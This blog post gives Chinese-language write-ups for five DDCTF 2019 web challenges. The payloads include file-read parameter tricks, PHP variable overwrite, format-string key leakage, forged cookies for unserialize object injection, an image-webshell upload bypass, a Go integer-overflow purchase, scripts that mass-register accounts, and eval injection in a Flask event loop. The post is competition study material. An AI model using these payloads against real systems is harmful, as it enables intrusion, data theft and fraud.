DDCTF-Web

这场比赛难度虽然大,但是一路做下来收获还是蛮大的

滴~

题目链接:http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

将参数jpg的值进行两次base64解码得到666C61672E6A7067,再进行十六进制转字符串的处理后得到flag.jpg,然后在源代码看到了加载出了flag.jpg文件的源码,怀疑是通过文件读取函数file_get_contents进行读取图片,将index.php进行转十六进制并进行两次base64编码后的值TmprMlpUWTBOalUzT0RKbE56QTJPRGN3赋值给参数jpg,得到经过base64加密后的源码:

解密后得到index.php源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

对读取文件做了过滤处理,首先是通过正则匹配函数过滤除了a-z,A-Z,0-9和小数点.以外的所有字符,并且将关键词config替换为!,看似flag就在config.php中,但是怎么想也绕不了过滤,这时注意到了代码开头的注释部分提示了一个博客地址,仔细翻阅博主的另一篇文章,里面提示一个文件名practice.txt.swp,访问,出现了文件名f1ag!ddctf.php

那么再次用同样的方法读取flag!ddctf.php文件的源代码,其中的感叹号!在参数中用config代替便可,即参数$file == hex2bin(base64_encode(base64_encode('f1agconfigddctf.php')))

获得f1ag!ddctf.php源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

考察变量覆盖和PHP伪协议,payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /f1ag!ddctf.php?k=php://input&uid=hello HTTP/1.1
Host: 117.51.150.246
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

hello

得到flag:DDCTF{436f6e67726174756c6174696f6e73}

WEB签到题

题目链接:http://117.51.158.44/index.php

页面有401认证,查看源代码发现页面主题调用了方法auth(),注意到文件js/index.js,对其访问获得源码

js代码的大致意思是向http://117.51.158.44/app/Auth.php发送ajax请求,并设置了头部字段didictf_username,尝试头部字段didictf_username:admin时,页面响应内容为:{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"},发现了提示文件app/fL2XID2i0Cdh.php,访问后

可以获得/app/Application.php/app/Session.php两个文件的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#/app/Application.php

Class Application {
var $path = '';


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#/app/Session.php

<?php
include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";


public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

}
}


$ddctf = new Session();
$ddctf->index();

审计后的总体思路如下:

主体为Session.php,调用了Session类中的index方法,其中Session类继承了Application

首先,调用Application类中的auth方法,必须返回true才能执行下面的语句,auth方法返回true的条件为:!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN,即头部字段didictf_username:admin,这是个大前提

接下来调用get_key方法,可以发现该方法给出了注释部分的提示:

1
2
3
4
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

提示flag和eancrykey都在../config文件夹下,并从key.txt取出加密的key

下一步就是调用session_read方法,如果返回true则返回的json信息中包含DiDI Welcome you $_SERVER['HTTP_USER_AGENT'],如果返回false则包含信息DiDI Welcome you,并且调用session_create方法,我们继续审计session_read方法,在其中我们可以发现其中的if语句:

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

可以看出,如果执行该if语句里的内容,可以得到加密的参数eancrykey,我们必须要让其执行,那么这个语句前面所有的条件都必须符合:
(1)cookie值不能为空

(2)cookie字段中必须包含参数ddctf_id

(3)$hash === md5($this->eancrykey.$session))

前面两个条件都很好满足,关键在于最后一个条件,参数hashsession分别来自下列语句:

1
2
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

我们知道,substr函数中的参数$session是来自于cookie字段中的参数ddctf_id的值,所以

1
2
$hash = 变量session截取strlen($session)-32位 ~ 最后一位
$session = 变量session截取 开始位 ~ strlen($session)-32位

因为我们是不知道eancrykey的值,所以无法构造一个参数session能符合第三个条件,但是我们可以注意到当session_read方法返回false时,会执行方法session_create,继续跟进该方法,会发现方法的最后执行了setcookie,内容参数$cookiedata为:

1
2
3
4
5
6
7
8
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);

最终cookiedata的值即为userdata序列化后的值拼接上md5加密后的eancrykey拼接上序列化值

如上图所示,符合大前提didictf_username,但是未设置cookie值,就会执行session_create设置cookie值,而字段ddctf_id的值:

1
ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22495e31ab571f67c3c4ec41915d106c08%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22202.101.138.82%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A109%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F73.0.3683.86+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D476e0efa4918bdfe3b0bbfdf499e75ac

经过url解码后为:

1
a:4:{s:10:"session_id";s:32:"495e31ab571f67c3c4ec41915d106c08";s:10:"ip_address";s:14:"202.101.138.82";s:10:"user_agent";s:109:"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36";s:9:"user_data";s:0:"";}476e0efa4918bdfe3b0bbfdf499e75ac

可以看到32位的字符串476e0efa4918bdfe3b0bbfdf499e75ac这个即为加密的盐(参数eancrykey)与序列化值a:4:{s:10:"session_id";s:32:"495e31ab571f67c3c4ec41915d106c08";s:10:"ip_address";s:14:"202.101.138.82";s:10:"user_agent";s:109:"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36";s:9:"user_data";s:0:"";}拼接后的md5加密值,首先想到的是拿去md5解密网站上进行解密得到key,但是解密失败

虽然无法解密直接得到key,但是在session_read方法中,我们同样可以得到key,条件则是如前面所提到的,符合$hash === md5($this->eancrykey.$session))

可以发现,session_create方法得到的ddctf_id字段值正好符合这个条件:

从响应结果来看,说明session_read方法返回true,说明符合了前面的所有条件,那么最后要得到key,需要的条件为POST一个参数nickname,该参数与key加入一个数组$arr,通过遍历该数组对字符串Welcome my friend %s进行字符替换,由于参数nickname为数组第一个元素,所以第一个替换的为nickname的值,替换一次后,要想再替换上key,则nickname的值中必须包含%s,所以,最终得到key的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /app/Session.php HTTP/1.1
Host: 117.51.158.44
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
didictf_username:admin
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Cookie:ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22495e31ab571f67c3c4ec41915d106c08%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22202.101.138.82%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A109%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F73.0.3683.86+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D476e0efa4918bdfe3b0bbfdf499e75ac
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

nickname=%s

得到的key为:EzblrbNS

但这只是key,要想得到flag,我们必须利用前面读取出key的函数file_get_contents读取../config/flag.txt才能最终获取flag,这就需要利用到session_read方法中的反序列化语句$session = unserialize($session);

那么接下来就需要寻找可以利用反序列化进行修改的参数,在类Application的方法__destruct中,发现语句:$this->response($data=file_get_contents($path),'Congratulations');,存在可以利用的参数$path,追溯该参数来源,发现path经过函数sanitizepath过滤:

1
2
3
4
5
6
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

并且需要满足条件:strlen($path) === 18,才可以执行上述语句进行文件读取

所以,思路很清晰了,通过参数session进行反序列化改变参数path的值读取文件../config/flag.txt

要进行反序列化,同样要满足我们一开始提到的得到key的三个条件,但是这里我们已经知道了key,所以很容易就可以控制参数session

获得序列化值的代码如下:

1
2
3
4
5
6
7
8
class Appliacation{
var $path = '';
...
}

$session = new Application();
$session->path = "..././config/flag.txt"
echo serialize($session);

获得到的序列化值为:

1
O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}

接下来将key与序列化值进行拼接后进行md5加密

1
echo md5('EzblrbNS'.$session);

加密后的值为5a014dbe49334e6dbb7326046950bee

那么session值就为:

1
O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee

最终获取flag的payload:

1
2
3
4
5
6
7
8
9
10
11
GET /app/Session.php HTTP/1.1
Host: 117.51.158.44
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
didictf_username:admin
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Cookie:ddctf_id=O:11:"Application":1:{s:4:"path"%3bs:21:"..././config/flag.txt"%3b}5a014dbe49334e6dbb7326046950bee2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

flag:DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

Upload-IMG

题目链接:http://117.51.148.166/upload.php

很清晰的一道文件上传题,尝试上传php一句话,抓包修改Content-type字段为image/jpeg,修改文件名后缀名为jpg都无法上传,提示请上传JPG/GIF/PNG格式的图片文件,猜测后台是对上传的文件内容进行了检查,上传图片马中包含phpinfo,却提示[Check Error]上传的图片源代码中未包含指定字符串:phpinfo(),将上传后的图片下载下来,与原来图片比较发现phpinfo不见了,说明对上传的图片进行了二次渲染,类似于upload-labs中的一道绕过二次渲染题目

绕过二次渲染上传图片马参考地址:https://xz.aliyun.com/t/2657

使用其中生成jpg图片的php脚本,过程为向服务器任意上传一个jpg文件,将上传成功的jpg文件下载下来,命名为1.jpg,再运行脚本,命令为:php jpg_payload.php 1.jpg

在目录下生成加入图片马的jpg图片,我们可以在16进制编辑器打开验证:

成功插入phpinfo信息,再次在服务器中上传该图片马

成功获得flag

另外png的图片同样可以通过参考链接中的其他脚本生成图片马,gif文件则需要比较前后图片的相同之处即imagecreatefromgif函数未修改的部分,比较麻烦一点

flag:DDCTF{B3s7_7ry_php1nf0_f2a042657ff79fad}

大吉大利,今晚吃鸡~

题目链接:http://117.51.147.155:5050/index.html#/login

这题有点类似护网杯的买辣条,抓包发现Cookie带有REVEL_SESSION,说明是go语言,继续抓取购买吃鸡入场券的包时,发现有参数ticket_price=2000,可是我们的余额只有100,明显无法购买入场券,后台的代码逻辑可能为用户存款 - (吃鸡入场券数×入场券价格 ) >= 0 ,尝试修改ticket_price=100,无法生成订单,通过二分法尝试,只有大于等于1000时才能生成订单,这就想起了go语言的最大整数溢出漏洞。

1
2
3
4
5
6
7
8
9
有符号整数类型
int8 有符号的8位整数,范围 -128 到127
int16 有符号的16位整数,范围 -32768 到 32767
int32 有符号的32位整数,范围 -2147483648 到 2147483647
int64 有符号的64位整数,范围 -9223372036854775808 到 9223372036854775807
uint8 无符号8位整数,范围 0 到 255
uint16 无符号16位整数,范围 0 到 65535
uint32 无符号32位整数,范围 0 到 4294967295
uint64 无符号64位整数,范围 0 到 18446744073709551615

正如上面所列出的go语言各类整数的范围,我们一个个尝试,尝试ticket_price=4294967296,即uint32 无符号32位整数值加1时,能成功购买入场券,并且余额并没有减少,还是100,这就说明了4294967296发生了溢出,变为了0,满足上面的逻辑判断

购买成功后,获得本账号的id和ticket,并且提示需要移除100位对手才能最终吃鸡,很明显需要我们写脚本进行注册并移除,注册100位账户的脚本register.py代码如下:

1
2
3
4
5
6
7
8
9
import requests

password = "12345678"
for i in range(1000,1101):
name = "test"
name = name + str(i)
url = "http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s"%(name,password)
r = requests.get(url)
print(r.text)

注册100位后,我们需要再通过脚本分别对这100位用户进行登录,获取吃鸡入场券订单,购买订单,最后提取出各自分别的id和ticket,以上这些步骤都分别需要观察每个步骤的响应包json字段内容来判断是否提交成功以及提取id和ticket的信息,chiji.py代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re

s = requests.Session()
list_your_id = []
list_your_ticket = []

password = "12345678"
for i in range(1000,1200):
name = "test" + str(i)
url1 = "http://117.51.147.155:5050/ctf/api/login?name=%s&password=%s"%(name,password)
r1 = s.get(url1)
if '"code":200' in r1.text: #login successfully
ticket_price = 4294967296
url2 = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=%d"%(ticket_price)
r2 = s.get(url2)
if '"ticket_price":' in r2.text: #get bill successfully
bill_id = re.findall(r'"bill_id":"(.*)",',r2.text)[0]
url3 = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s"%(bill_id)
r3 = s.get(url3)
if 'your_id' and 'your_ticket' in r3.text: #get ticket successfully
your_id = re.findall(r'"your_id":(.*),"your',r3.text)[0]
your_ticket = re.findall(r'"your_ticket":"(.*)"}]',r3.text)[0]
list_your_id.append(your_id)
print(list_your_id)
list_your_ticket.append(your_ticket)
print(list_your_ticket)
if len(list_your_id) and len(list_your_ticket) == 100:
break

#chiji
url4 = "http://117.51.147.155:5050/ctf/api/login?name=test01&password=12345678"
r4 = s.get(url4)
print(r4.text)
for i in range(100):
url5 = "http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s"%(list_your_id[i],list_your_ticket[i])
r5 = s.get(url5)
print(r5.text)

经过测试,需要多次分批注册100个账号,即多次运行该脚本提交,才最终挤掉100位对手,猜测可能是存在提交信息过快导致服务器会来不及处理而导致提交失败的问题

最终吃鸡页面

flag:DDCTF{chiken_dinner_hyMCX[n47Fx)}

homebrew event loop

题目链接:http://116.85.48.107:5002/d5af31f66147e857

题目给了服务器端源码,是一个python写的Flask框架,分析代码,通过GET方式接收我们输入的参数,格式为action:ACTION;ARGS0#ARGS1#ARGS2......,要得到flag就是要执行最后的函数get_flag_handler,当满足session中的num_items字段大于等于5的条件时,会返回函数FLAG ,即得到flag

1
2
3
4
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')

但是如果按代码正常的逻辑来看,num_items的默认字段值为0,需要用session中的另一个字段points的值来换取,然而points初始化值为3

这是session中字段的初始化的代码段:

1
2
3
4
5
6
7
8
9
10
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
...

这是num_itemspoints字段值交换的代码段:

1
2
3
4
5
6
7
8
9
10
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

一开始认为的思路是修改session值来改变num_items,points字段的值来执行该函数。在flask中,session是经过参数app.secret_key来进行加密的,所以我们还必须得到加密的key,才能伪造session以获取flag,而获取该key则必须通过参数对代码进行注入,得到app.secret_key

找出的可能存在的注入点在buy_handler函数,通过python3的格式化字符format存在的漏洞注入得到配置信息,但是服务器端对用户的输入存在白名单过滤:

1
2
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')

故该方法无效,其实这题只是考察单纯绕过代码逻辑来调用get_flag_handler函数,我们可以注意,服务器执行的函数取决点在于列表request.event_queue,只要列表request.event_queue中还有事件,就会通过eval函数执行

1
2
3
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

而列表request.event_queue是通过函数trigger_event进行改变的,所以我们可以通过调用trigger_event函数来进行多函数调用

按照正常的逻辑而言,如果我们正常调用buy_handler函数,并且传入的参数为5,payload为:?action:buy;5执行到最后会执行语句trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']),这时候事情列表request.event_queue中就会添加两个事件consume_point_functionview_handler,也就是说,接下来调用的函数必然是consume_point_function,执行到该函数中的判断语句if session['points'] < point_to_consume: raise RollBackException()时,由于session['points']小于5,则出现了报错信息

但是如果我们控制事件列表request.event_queue中的事件顺序为:buy_handler,get_flag_handler,comsume_point_function,那么由于buy_handler函数中的语句session['num_items'] += num_items,此时session['num_items']被设置为了5,执行下一个函数get_flag_handler时,就能成功执行语句:if session['num_items'] >= 5:trigger_event('func:show_flag;' + FLAG())

所以最终的payload为:

1
?action:trigger_event%23;action:buy;5%23action:get_flag;

首先调用的函数是trigger_event,注意到这里的%23#,在python的eval函数中,注释符同样能注释掉后面的语句,也就是说注释掉了后面的字符串_handler_fuction,测试如下:

1
2
3
4
5
6
>>> def hello():
print("hello")

>>> a = eval('hello#aaa')
>>> a()
hello

传入trigger_event的参数为列表[action:buy;5,action:get_flag;],函数执行完毕后,此时事件列表request.event_queue的内容为:[action:buy;5,action:get_flag;]

下一个调用函数为:buy_handler,传入的参数为5,此时事件列表request.event_queue的内容为:[action:get_flag;],当函数buy_handler执行到语句trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])时,事件列表中又添了新的事件,此时内容为:[action:get_flag;,func:consume_point;5,action:view;index]

那么下一个调用的函数便为get_flag,因为此时刚执行完函数buy_handlersession['num_items'] == 5,所以执行语句trigger_event('func:show_flag;' + FLAG()),此时事件列表中又添加了新的内容:fuction:show_flag;拼接上FLAG()函数执行结果

我们可以执行到trigger_event函数中的语句:session['log'].append(event),即session['log']字段中存储着每次新添加进来的事件,所以必然有FLAG()函数执行结果

所以最后我们需要解密session字段,通过下列脚本代码解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

解密结果中获得flag,从log字段内容也验证之前的过程分析

最终的flag为:DDCTF{3v4l_3v3nt_100p_aNd_fLASK_cOOkle}

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/04/19/ddctf-Web/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog